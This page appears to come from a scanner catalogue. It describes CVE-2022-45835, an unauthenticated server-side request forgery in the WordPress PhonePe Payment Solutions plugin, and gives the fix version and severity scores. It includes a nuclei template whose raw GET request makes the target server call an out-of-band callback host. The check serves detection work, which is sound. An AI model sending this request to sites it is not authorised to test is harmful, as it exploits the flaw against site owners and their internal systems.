WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery

highseverity

7.5CVSS score

37.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

An attacker can exploit this vulnerability to send arbitrary HTTP requests from the server, potentially leading to unauthorized access to internal resources or performing actions on behalf of the server.

Fix

Fixed in version 2.0.0.

How to confirm it

Send: GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http" AND contains "cURL Test for PhonePe" AND status 200

Run it with nuclei: nuclei -id CVE-2022-45835 -u <target>

The full check

id: CVE-2022-45835

info:
  name: WordPress PhonePe Payment Solutions <=1.0.15 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: |
    WordPress PhonePe Payment Solutions plugin through 1.0.15 is susceptible to server-side request forgery. An attacker can cause a website to execute website requests to an arbitrary domain, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to send arbitrary HTTP requests from the server, potentially leading to unauthorized access to internal resources or performing actions on behalf of the server.
  remediation: Fixed in version 2.0.0.
  reference:
    - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf
    - https://wordpress.org/plugins/phonepe-payment-solutions/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45835
    - https://patchstack.com/database/vulnerability/phonepe-payment-solutions/wordpress-phonepe-payment-solutions-plugin-1-0-15-server-side-request-forgery-ssrf?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-45835
    cwe-id: CWE-918
    epss-score: 0.37673
    epss-percentile: 0.9855
    cpe: cpe:2.3:a:phonepe:phonepe:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phonepe
    product: phonepe
    framework: wordpress
  tags: cve,cve2022,ssrf,wordpress,wp-plugin,wp,phonepe-payment-solutions,unauth,oast,phonepe,vkev,vuln

http:
  - raw:
      - |
        GET /?phonepe_action=curltestPhonePe&url=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "cURL Test for PhonePe"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from